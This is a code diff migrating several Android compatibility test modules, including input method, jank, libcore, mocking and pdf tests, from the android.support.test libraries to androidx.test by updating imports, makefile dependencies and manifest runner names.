--- a/tests/inputmethod/src/android/view/inputmethod/cts/KeyboardTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/KeyboardTest.java
@@ -22,9 +22,10 @@
import android.inputmethodservice.Keyboard;
import android.inputmethodservice.Keyboard.Key;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/KeyboardVisibilityControlTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/KeyboardVisibilityControlTest.java
index 5482a41..aa5b695 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/KeyboardVisibilityControlTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/KeyboardVisibilityControlTest.java
@@ -26,10 +26,6 @@
import static org.junit.Assert.assertTrue;
import android.os.SystemClock;
-import androidx.annotation.NonNull;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
import android.text.TextUtils;
import android.util.Pair;
import android.view.inputmethod.EditorInfo;
@@ -40,6 +36,11 @@
import android.widget.EditText;
import android.widget.LinearLayout;
+import androidx.annotation.NonNull;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.cts.mockime.ImeEvent;
import com.android.cts.mockime.ImeEventStream;
import com.android.cts.mockime.ImeSettings;
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/NavigationBarColorTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/NavigationBarColorTest.java
index de3235c..e2f7738 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/NavigationBarColorTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/NavigationBarColorTest.java
@@ -40,11 +40,6 @@
import android.graphics.Bitmap;
import android.graphics.Color;
import android.os.Process;
-import androidx.annotation.ColorInt;
-import androidx.annotation.NonNull;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
import android.text.TextUtils;
import android.view.View;
import android.view.ViewGroup;
@@ -56,13 +51,19 @@
import android.widget.LinearLayout;
import android.widget.TextView;
+import androidx.annotation.ColorInt;
+import androidx.annotation.NonNull;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.cts.mockime.ImeEventStream;
import com.android.cts.mockime.ImeLayoutInfo;
import com.android.cts.mockime.ImeSettings;
import com.android.cts.mockime.MockImeSession;
-import org.junit.BeforeClass;
import org.junit.Before;
+import org.junit.BeforeClass;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/OnScreenPositionTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/OnScreenPositionTest.java
index b320f88..676a0c4 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/OnScreenPositionTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/OnScreenPositionTest.java
@@ -26,9 +26,6 @@
import android.graphics.Rect;
import android.os.Process;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
import android.text.TextUtils;
import android.view.inputmethod.EditorInfo;
import android.view.inputmethod.cts.util.EndToEndImeTestBase;
@@ -36,6 +33,10 @@
import android.widget.EditText;
import android.widget.LinearLayout;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.CtsTouchUtils;
import com.android.cts.mockime.ImeEventStream;
import com.android.cts.mockime.ImeLayoutInfo;
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/SearchViewTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/SearchViewTest.java
index 619c852..220ce21 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/SearchViewTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/SearchViewTest.java
@@ -21,9 +21,6 @@
import static com.android.cts.mockime.ImeEventStreamTestUtils.expectEvent;
import android.os.Process;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
import android.text.InputType;
import android.view.inputmethod.EditorInfo;
import android.view.inputmethod.cts.util.EndToEndImeTestBase;
@@ -32,6 +29,10 @@
import android.widget.LinearLayout;
import android.widget.SearchView;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.CtsTouchUtils;
import com.android.cts.mockime.ImeEventStream;
import com.android.cts.mockime.ImeSettings;
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/util/EndToEndImeTestBase.java b/tests/inputmethod/src/android/view/inputmethod/cts/util/EndToEndImeTestBase.java
index add3237..6ffb813 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/util/EndToEndImeTestBase.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/util/EndToEndImeTestBase.java
@@ -20,7 +20,8 @@
import android.content.Intent;
import android.content.pm.PackageManager;
-import android.support.test.InstrumentationRegistry;
+
+import androidx.test.InstrumentationRegistry;
import org.junit.Before;
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/util/NavigationBarInfo.java b/tests/inputmethod/src/android/view/inputmethod/cts/util/NavigationBarInfo.java
index d76f99e..ba0ab0a 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/util/NavigationBarInfo.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/util/NavigationBarInfo.java
@@ -16,26 +16,28 @@
package android.view.inputmethod.cts.util;
-import static android.support.test.InstrumentationRegistry.getInstrumentation;
import static android.view.WindowManager.LayoutParams.FLAG_DIM_BEHIND;
import static android.view.inputmethod.cts.util.TestUtils.getOnMainSync;
+import static androidx.test.InstrumentationRegistry.getInstrumentation;
+
import android.app.AlertDialog;
import android.app.Instrumentation;
import android.content.Intent;
import android.graphics.Bitmap;
import android.graphics.Point;
import android.graphics.Rect;
-import androidx.annotation.ColorInt;
-import androidx.annotation.NonNull;
-import androidx.annotation.Nullable;
-import android.support.test.InstrumentationRegistry;
import android.util.Size;
import android.view.View;
import android.view.ViewGroup;
import android.view.WindowInsets;
import android.widget.TextView;
+import androidx.annotation.ColorInt;
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+import androidx.test.InstrumentationRegistry;
+
import java.util.concurrent.TimeUnit;
import java.util.concurrent.atomic.AtomicReference;
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/util/TestActivity.java b/tests/inputmethod/src/android/view/inputmethod/cts/util/TestActivity.java
index 0eaa3d6..0f8ce63 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/util/TestActivity.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/util/TestActivity.java
@@ -21,14 +21,15 @@
import android.app.Activity;
import android.content.Intent;
import android.os.Bundle;
-import androidx.annotation.AnyThread;
-import androidx.annotation.NonNull;
-import androidx.annotation.UiThread;
-import android.support.test.InstrumentationRegistry;
import android.view.View;
import android.view.Window;
import android.view.WindowManager;
+import androidx.annotation.AnyThread;
+import androidx.annotation.NonNull;
+import androidx.annotation.UiThread;
+import androidx.test.InstrumentationRegistry;
+
import java.util.concurrent.atomic.AtomicBoolean;
import java.util.concurrent.atomic.AtomicReference;
import java.util.function.Function;
@@ -96,7 +97,7 @@
/**
* Launches {@link TestActivity} with the given initialization logic for content view.
*
- * <p>As long as you are using {@link android.support.test.runner.AndroidJUnitRunner}, the test
+ * <p>As long as you are using {@link androidx.test.runner.AndroidJUnitRunner}, the test
* runner automatically calls {@link Activity#finish()} for the {@link Activity} launched when
* the test finished. You do not need to explicitly call {@link Activity#finish()}.</p>
*
@@ -112,7 +113,7 @@
/**
* Launches {@link TestActivity} with the given initialization logic for content view.
*
- * <p>As long as you are using {@link android.support.test.runner.AndroidJUnitRunner}, the test
+ * <p>As long as you are using {@link androidx.test.runner.AndroidJUnitRunner}, the test
* runner automatically calls {@link Activity#finish()} for the {@link Activity} launched when
* the test finished. You do not need to explicitly call {@link Activity#finish()}.</p>
*
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/util/TestUtils.java b/tests/inputmethod/src/android/view/inputmethod/cts/util/TestUtils.java
index 1f86ccd..51fcdbb 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/util/TestUtils.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/util/TestUtils.java
@@ -17,8 +17,9 @@
package android.view.inputmethod.cts.util;
import android.app.Instrumentation;
+
import androidx.annotation.NonNull;
-import android.support.test.InstrumentationRegistry;
+import androidx.test.InstrumentationRegistry;
import java.util.concurrent.TimeoutException;
import java.util.concurrent.atomic.AtomicBoolean;
diff --git a/tests/jank/Android.mk b/tests/jank/Android.mk
index df7aa54..2ce4a98 100644
--- a/tests/jank/Android.mk
+++ b/tests/jank/Android.mk
@@ -29,10 +29,10 @@
LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_STATIC_JAVA_LIBRARIES := \
- compatibility-device-util \
- ctstestrunner \
+ compatibility-device-util-axt \
+ ctstestrunner-axt \
ub-uiautomator \
- ub-janktesthelper \
+ androidx.test.janktesthelper \
junit
LOCAL_JAVA_LIBRARIES := android.test.base.stubs
diff --git a/tests/jank/AndroidManifest.xml b/tests/jank/AndroidManifest.xml
index f7b3232..faeedab 100644
--- a/tests/jank/AndroidManifest.xml
+++ b/tests/jank/AndroidManifest.xml
@@ -24,7 +24,7 @@
<uses-library android:name="android.test.runner"/>
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.jank.cts"
android:label="Jank tests">
<meta-data android:name="listener"
diff --git a/tests/jank/src/android/jank/cts/CtsJankTestBase.java b/tests/jank/src/android/jank/cts/CtsJankTestBase.java
index 6015726..85cf700 100644
--- a/tests/jank/src/android/jank/cts/CtsJankTestBase.java
+++ b/tests/jank/src/android/jank/cts/CtsJankTestBase.java
@@ -17,10 +17,11 @@
package android.jank.cts;
import android.os.Bundle;
-import android.support.test.jank.JankTestBase;
-import android.support.test.jank.WindowContentFrameStatsMonitor;
import android.support.test.uiautomator.UiDevice;
+import androidx.test.jank.JankTestBase;
+import androidx.test.jank.WindowContentFrameStatsMonitor;
+
import com.android.compatibility.common.util.DeviceReportLog;
import com.android.compatibility.common.util.ResultType;
import com.android.compatibility.common.util.ResultUnit;
diff --git a/tests/jank/src/android/jank/cts/ui/CtsDeviceJankUi.java b/tests/jank/src/android/jank/cts/ui/CtsDeviceJankUi.java
index 2e389d7..35565d7 100644
--- a/tests/jank/src/android/jank/cts/ui/CtsDeviceJankUi.java
+++ b/tests/jank/src/android/jank/cts/ui/CtsDeviceJankUi.java
@@ -18,13 +18,14 @@
import android.content.Intent;
import android.jank.cts.CtsJankTestBase;
import android.os.SystemClock;
-import android.support.test.jank.JankTest;
-import android.support.test.jank.WindowContentFrameStatsMonitor;
import android.support.test.uiautomator.By;
import android.support.test.uiautomator.Direction;
import android.support.test.uiautomator.Until;
import android.widget.ListView;
+import androidx.test.jank.JankTest;
+import androidx.test.jank.WindowContentFrameStatsMonitor;
+
import java.io.IOException;
public class CtsDeviceJankUi extends CtsJankTestBase {
diff --git a/tests/leanbackjank/Android.mk b/tests/leanbackjank/Android.mk
index ab7eedc..9f9ba8c 100644
--- a/tests/leanbackjank/Android.mk
+++ b/tests/leanbackjank/Android.mk
@@ -30,10 +30,10 @@
LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_STATIC_JAVA_LIBRARIES := \
- compatibility-device-util \
- ctstestrunner \
+ compatibility-device-util-axt \
+ ctstestrunner-axt \
ub-uiautomator \
- ub-janktesthelper
+ androidx.test.janktesthelper
LOCAL_JAVA_LIBRARIES := android.test.base.stubs
diff --git a/tests/leanbackjank/AndroidManifest.xml b/tests/leanbackjank/AndroidManifest.xml
index 35a2e2e..2b1f1a6 100644
--- a/tests/leanbackjank/AndroidManifest.xml
+++ b/tests/leanbackjank/AndroidManifest.xml
@@ -25,7 +25,7 @@
<uses-library android:name="android.test.runner"/>
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.leanbackjank.cts"
android:label="LeanbackJank tests">
<meta-data android:name="listener"
diff --git a/tests/leanbackjank/app/Android.mk b/tests/leanbackjank/app/Android.mk
index b6404fe..06f2ae9 100644
--- a/tests/leanbackjank/app/Android.mk
+++ b/tests/leanbackjank/app/Android.mk
@@ -33,10 +33,10 @@
LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res
LOCAL_STATIC_JAVA_LIBRARIES := \
- compatibility-device-util \
- ctstestrunner \
+ compatibility-device-util-axt \
+ ctstestrunner-axt \
ub-uiautomator \
- ub-janktesthelper \
+ androidx.test.janktesthelper \
glide
LOCAL_STATIC_ANDROID_LIBRARIES := \
diff --git a/tests/leanbackjank/src/android/leanbackjank/cts/CtsDeviceLeanback.java b/tests/leanbackjank/src/android/leanbackjank/cts/CtsDeviceLeanback.java
index 0c19395..47ae1ed 100644
--- a/tests/leanbackjank/src/android/leanbackjank/cts/CtsDeviceLeanback.java
+++ b/tests/leanbackjank/src/android/leanbackjank/cts/CtsDeviceLeanback.java
@@ -19,12 +19,12 @@
import android.content.pm.PackageManager;
import android.leanbackjank.app.IntentKeys;
import android.os.SystemClock;
-import android.support.test.jank.GfxMonitor;
-import android.support.test.jank.JankTest;
-import android.support.test.jank.WindowContentFrameStatsMonitor;
import android.support.test.uiautomator.By;
import android.support.test.uiautomator.Until;
-import android.util.Log;
+
+import androidx.test.jank.GfxMonitor;
+import androidx.test.jank.JankTest;
+import androidx.test.jank.WindowContentFrameStatsMonitor;
public class CtsDeviceLeanback extends CtsJankTestBase {
private static final String TAG = "CtsDeviceLeanback";
diff --git a/tests/leanbackjank/src/android/leanbackjank/cts/CtsJankTestBase.java b/tests/leanbackjank/src/android/leanbackjank/cts/CtsJankTestBase.java
index 4749fe3..725c015 100644
--- a/tests/leanbackjank/src/android/leanbackjank/cts/CtsJankTestBase.java
+++ b/tests/leanbackjank/src/android/leanbackjank/cts/CtsJankTestBase.java
@@ -17,11 +17,12 @@
package android.leanbackjank.cts;
import android.os.Bundle;
-import android.support.test.jank.GfxMonitor;
-import android.support.test.jank.JankTestBase;
-import android.support.test.jank.WindowContentFrameStatsMonitor;
import android.support.test.uiautomator.UiDevice;
+import androidx.test.jank.GfxMonitor;
+import androidx.test.jank.JankTestBase;
+import androidx.test.jank.WindowContentFrameStatsMonitor;
+
import com.android.compatibility.common.util.DeviceReportLog;
import com.android.compatibility.common.util.ResultType;
import com.android.compatibility.common.util.ResultUnit;
diff --git a/tests/libcore/jsr166/Android.mk b/tests/libcore/jsr166/Android.mk
index e355efd..3cb2bfa 100644
--- a/tests/libcore/jsr166/Android.mk
+++ b/tests/libcore/jsr166/Android.mk
@@ -20,7 +20,7 @@
LOCAL_PRIVATE_PLATFORM_APIS := true
LOCAL_STATIC_JAVA_LIBRARIES := \
- cts-core-test-runner \
+ cts-core-test-runner-axt \
jsr166-tests
# Don't include this package in any target
diff --git a/tests/libcore/jsr166/AndroidManifest.xml b/tests/libcore/jsr166/AndroidManifest.xml
index 5fd3f6e..e15f662 100644
--- a/tests/libcore/jsr166/AndroidManifest.xml
+++ b/tests/libcore/jsr166/AndroidManifest.xml
@@ -20,7 +20,7 @@
<uses-library android:name="android.test.runner" />
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.libcore.cts.jsr166"
android:label="CTS Libcore JSR166 test cases">
<meta-data android:name="listener"
diff --git a/tests/libcore/luni/Android.mk b/tests/libcore/luni/Android.mk
index 619962b..a2a6a24 100644
--- a/tests/libcore/luni/Android.mk
+++ b/tests/libcore/luni/Android.mk
@@ -23,7 +23,7 @@
apache-harmony-tests \
conscrypt-tests \
core-tests \
- cts-core-test-runner \
+ cts-core-test-runner-axt \
mockito-target-minus-junit4 \
time_zone_distro-tests \
time_zone_distro_installer-tests
diff --git a/tests/libcore/luni/AndroidManifest.xml b/tests/libcore/luni/AndroidManifest.xml
index 87e916f..b1d5c87 100644
--- a/tests/libcore/luni/AndroidManifest.xml
+++ b/tests/libcore/luni/AndroidManifest.xml
@@ -21,7 +21,7 @@
<uses-library android:name="android.test.runner" />
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.libcore.cts"
android:label="CTS Libcore test cases">
<meta-data android:name="listener"
diff --git a/tests/libcore/ojluni/AndroidManifest.xml b/tests/libcore/ojluni/AndroidManifest.xml
index 8c45c30..b390698 100644
--- a/tests/libcore/ojluni/AndroidManifest.xml
+++ b/tests/libcore/ojluni/AndroidManifest.xml
@@ -19,7 +19,7 @@
<uses-permission android:name="android.permission.INTERNET" />
<!-- important: instrument another package which actually contains AJUR -->
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.libcore.runner"
android:label="CTS Libcore OJ test cases">
<meta-data android:name="listener"
diff --git a/tests/libcore/okhttp/Android.mk b/tests/libcore/okhttp/Android.mk
index 70259e8..eb061da 100644
--- a/tests/libcore/okhttp/Android.mk
+++ b/tests/libcore/okhttp/Android.mk
@@ -21,7 +21,7 @@
LOCAL_STATIC_JAVA_LIBRARIES := \
bouncycastle-unbundled \
- cts-core-test-runner \
+ cts-core-test-runner-axt \
okhttp-nojarjar \
okhttp-tests-nojarjar
diff --git a/tests/libcore/okhttp/AndroidManifest.xml b/tests/libcore/okhttp/AndroidManifest.xml
index dfff563..5396d8e 100644
--- a/tests/libcore/okhttp/AndroidManifest.xml
+++ b/tests/libcore/okhttp/AndroidManifest.xml
@@ -21,7 +21,7 @@
<uses-library android:name="android.test.runner" />
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.libcore.cts.okhttp"
android:label="CTS Libcore OkHttp test cases">
<meta-data android:name="listener"
diff --git a/tests/libcore/runner/Android.mk b/tests/libcore/runner/Android.mk
index e70ad50..093779b 100644
--- a/tests/libcore/runner/Android.mk
+++ b/tests/libcore/runner/Android.mk
@@ -20,7 +20,7 @@
LOCAL_SDK_VERSION := current
LOCAL_STATIC_JAVA_LIBRARIES := \
- cts-core-test-runner
+ cts-core-test-runner-axt
# Don't include this package in any target
LOCAL_MODULE_TAGS := tests
diff --git a/tests/libcore/wycheproof-bc/Android.mk b/tests/libcore/wycheproof-bc/Android.mk
index 61dc8c7..a43e8b4 100644
--- a/tests/libcore/wycheproof-bc/Android.mk
+++ b/tests/libcore/wycheproof-bc/Android.mk
@@ -20,7 +20,7 @@
LOCAL_PRIVATE_PLATFORM_APIS := true
LOCAL_STATIC_JAVA_LIBRARIES := \
- cts-core-test-runner \
+ cts-core-test-runner-axt \
wycheproof
LOCAL_JAVA_LIBRARIES := bouncycastle
diff --git a/tests/libcore/wycheproof-bc/AndroidManifest.xml b/tests/libcore/wycheproof-bc/AndroidManifest.xml
index fb53977..b62c62e 100644
--- a/tests/libcore/wycheproof-bc/AndroidManifest.xml
+++ b/tests/libcore/wycheproof-bc/AndroidManifest.xml
@@ -21,7 +21,7 @@
<uses-library android:name="android.test.runner" />
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.libcore.cts.wycheproof.bouncycastle"
android:label="CTS Libcore Wycheproof Bouncy Castle test cases">
<meta-data android:name="listener"
diff --git a/tests/libcore/wycheproof/Android.mk b/tests/libcore/wycheproof/Android.mk
index 015b49d..d5866f1 100644
--- a/tests/libcore/wycheproof/Android.mk
+++ b/tests/libcore/wycheproof/Android.mk
@@ -20,7 +20,7 @@
LOCAL_PRIVATE_PLATFORM_APIS := true
LOCAL_STATIC_JAVA_LIBRARIES := \
- cts-core-test-runner \
+ cts-core-test-runner-axt \
wycheproof
LOCAL_JAVA_LIBRARIES := conscrypt
diff --git a/tests/libcore/wycheproof/AndroidManifest.xml b/tests/libcore/wycheproof/AndroidManifest.xml
index 5e8058f..9c0a384 100644
--- a/tests/libcore/wycheproof/AndroidManifest.xml
+++ b/tests/libcore/wycheproof/AndroidManifest.xml
@@ -21,7 +21,7 @@
<uses-library android:name="android.test.runner" />
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.libcore.cts.wycheproof.conscrypt"
android:label="CTS Libcore Wycheproof Conscrypt test cases">
<meta-data android:name="listener"
diff --git a/tests/mocking/Android.mk b/tests/mocking/Android.mk
index 2afa4d2..9d54f61 100644
--- a/tests/mocking/Android.mk
+++ b/tests/mocking/Android.mk
@@ -22,8 +22,8 @@
android.test.runner.stubs
LOCAL_STATIC_JAVA_LIBRARIES = \
mockito-target \
- android-support-test \
- ctstestrunner
+ androidx.test.rules \
+ ctstestrunner-axt
LOCAL_SRC_FILES := \
$(call all-java-files-under, \
../../../external/dexmaker/dexmaker-mockito-tests/src/androidTest/java)
diff --git a/tests/mocking/AndroidManifest.xml b/tests/mocking/AndroidManifest.xml
index 34f4095..d0f9e00 100644
--- a/tests/mocking/AndroidManifest.xml
+++ b/tests/mocking/AndroidManifest.xml
@@ -24,7 +24,7 @@
<uses-library android:name="android.test.runner" />
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.mocking.cts"
android:label="CTS tests for mockito mocking">
<meta-data android:name="listener"
diff --git a/tests/mocking/debuggable/Android.mk b/tests/mocking/debuggable/Android.mk
index 5187811..04fb2a1 100644
--- a/tests/mocking/debuggable/Android.mk
+++ b/tests/mocking/debuggable/Android.mk
@@ -22,8 +22,8 @@
android.test.runner.stubs
LOCAL_STATIC_JAVA_LIBRARIES = \
mockito-target \
- android-support-test \
- ctstestrunner
+ androidx.test.rules \
+ ctstestrunner-axt
LOCAL_SRC_FILES := \
$(call all-java-files-under, \
../../../../external/dexmaker/dexmaker-mockito-tests/src/androidTest/java)
diff --git a/tests/mocking/debuggable/AndroidManifest.xml b/tests/mocking/debuggable/AndroidManifest.xml
index f336afc..3ca5af9 100644
--- a/tests/mocking/debuggable/AndroidManifest.xml
+++ b/tests/mocking/debuggable/AndroidManifest.xml
@@ -24,7 +24,7 @@
<uses-library android:name="android.test.runner" />
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.mocking.cts.debuggable"
android:label="CTS tests for mockito mocking (while debuggable)">
<meta-data android:name="listener"
diff --git a/tests/mocking/inline/Android.mk b/tests/mocking/inline/Android.mk
index 9fa873d..4c99385 100644
--- a/tests/mocking/inline/Android.mk
+++ b/tests/mocking/inline/Android.mk
@@ -22,8 +22,8 @@
android.test.runner.stubs
LOCAL_STATIC_JAVA_LIBRARIES = \
mockito-target-inline \
- android-support-test \
- ctstestrunner
+ androidx.test.rules \
+ ctstestrunner-axt
LOCAL_MULTILIB := \
both
LOCAL_JNI_SHARED_LIBRARIES := \
diff --git a/tests/mocking/inline/AndroidManifest.xml b/tests/mocking/inline/AndroidManifest.xml
index 9d97a38..4bb4085 100644
--- a/tests/mocking/inline/AndroidManifest.xml
+++ b/tests/mocking/inline/AndroidManifest.xml
@@ -24,7 +24,7 @@
<uses-library android:name="android.test.runner" />
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.inline.mocking.cts"
android:label="CTS tests for mockito inline mocking">
<meta-data android:name="listener"
diff --git a/tests/netlegacy22.api/Android.mk b/tests/netlegacy22.api/Android.mk
index 5a330e5..7fe251a 100644
--- a/tests/netlegacy22.api/Android.mk
+++ b/tests/netlegacy22.api/Android.mk
@@ -27,7 +27,7 @@
LOCAL_SDK_VERSION := 22
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt
# Tag this module as a cts test artifact
LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
diff --git a/tests/netlegacy22.api/AndroidManifest.xml b/tests/netlegacy22.api/AndroidManifest.xml
index e900ceb..a9411cc 100644
--- a/tests/netlegacy22.api/AndroidManifest.xml
+++ b/tests/netlegacy22.api/AndroidManifest.xml
@@ -29,7 +29,7 @@
<uses-library android:name="android.test.runner" />
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.netlegacy22.api.cts"
android:label="CTS tests of legacy android.net APIs as of API 22">
<meta-data android:name="listener"
diff --git a/tests/netlegacy22.permission/Android.mk b/tests/netlegacy22.permission/Android.mk
index f5cc38b..f9ae8fe 100644
--- a/tests/netlegacy22.permission/Android.mk
+++ b/tests/netlegacy22.permission/Android.mk
@@ -27,7 +27,7 @@
LOCAL_SDK_VERSION := 22
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt
# Tag this module as a cts test artifact
LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
diff --git a/tests/netlegacy22.permission/AndroidManifest.xml b/tests/netlegacy22.permission/AndroidManifest.xml
index 2accd27..14c40e5 100644
--- a/tests/netlegacy22.permission/AndroidManifest.xml
+++ b/tests/netlegacy22.permission/AndroidManifest.xml
@@ -41,7 +41,7 @@
package. That runner cannot be added to this package either, since it
relies on hidden APIs.
-->
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.netlegacy22.permission.cts"
android:label="CTS tests of legacy android.net permissions as of API 22">
<meta-data android:name="listener"
diff --git a/tests/netlegacy22.permission/src/android/net/cts/legacy/api22/permission/QtaguidPermissionTest.java b/tests/netlegacy22.permission/src/android/net/cts/legacy/api22/permission/QtaguidPermissionTest.java
index 60d2a2a..7d0dba2 100644
--- a/tests/netlegacy22.permission/src/android/net/cts/legacy/api22/permission/QtaguidPermissionTest.java
+++ b/tests/netlegacy22.permission/src/android/net/cts/legacy/api22/permission/QtaguidPermissionTest.java
@@ -1,23 +1,19 @@
package android.net.cts.legacy.api22.permission;
-import android.content.Context;
-import android.content.pm.ApplicationInfo;
-import android.content.pm.PackageManager;
-import android.content.pm.PackageManager.NameNotFoundException;
import android.net.TrafficStats;
-import android.support.test.filters.MediumTest;
import android.test.AndroidTestCase;
-import java.io.File;
-import java.net.ServerSocket;
-import java.net.Socket;
+import androidx.test.filters.MediumTest;
import java.io.BufferedReader;
+import java.io.File;
import java.io.FileNotFoundException;
import java.io.FileReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
+import java.net.ServerSocket;
+import java.net.Socket;
public class QtaguidPermissionTest extends AndroidTestCase {
diff --git a/tests/openglperf2/Android.mk b/tests/openglperf2/Android.mk
index 4f402ca..8335340 100644
--- a/tests/openglperf2/Android.mk
+++ b/tests/openglperf2/Android.mk
@@ -21,7 +21,7 @@
# Include both the 32 and 64 bit versions
LOCAL_MULTILIB := both
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util-axt ctstestrunner-axt
LOCAL_JNI_SHARED_LIBRARIES := libctsopengl_jni
diff --git a/tests/openglperf2/AndroidManifest.xml b/tests/openglperf2/AndroidManifest.xml
index b1051a4d..f23e411 100644
--- a/tests/openglperf2/AndroidManifest.xml
+++ b/tests/openglperf2/AndroidManifest.xml
@@ -46,7 +46,7 @@
</application>
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:label="OpenGL ES Benchmark"
android:targetPackage="android.opengl2.cts" />
diff --git a/tests/pdf/Android.mk b/tests/pdf/Android.mk
index c0955aa..49efd03 100644
--- a/tests/pdf/Android.mk
+++ b/tests/pdf/Android.mk
@@ -23,10 +23,10 @@
LOCAL_JAVA_LIBRARIES := android.test.runner.stubs
LOCAL_STATIC_JAVA_LIBRARIES += \
- android-support-test \
+ androidx.test.rules \
mockito-target-minus-junit4 \
- compatibility-device-util \
- ctstestrunner \
+ compatibility-device-util-axt \
+ ctstestrunner-axt \
androidx.annotation_annotation \
junit
diff --git a/tests/pdf/AndroidManifest.xml b/tests/pdf/AndroidManifest.xml
index deb2c88..2d65f1c 100644
--- a/tests/pdf/AndroidManifest.xml
+++ b/tests/pdf/AndroidManifest.xml
@@ -25,7 +25,7 @@
<uses-library android:name="android.test.runner" />
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.graphics.pdf.cts"
android:label="CTS tests of android.graphics.pdf">
<meta-data android:name="listener"
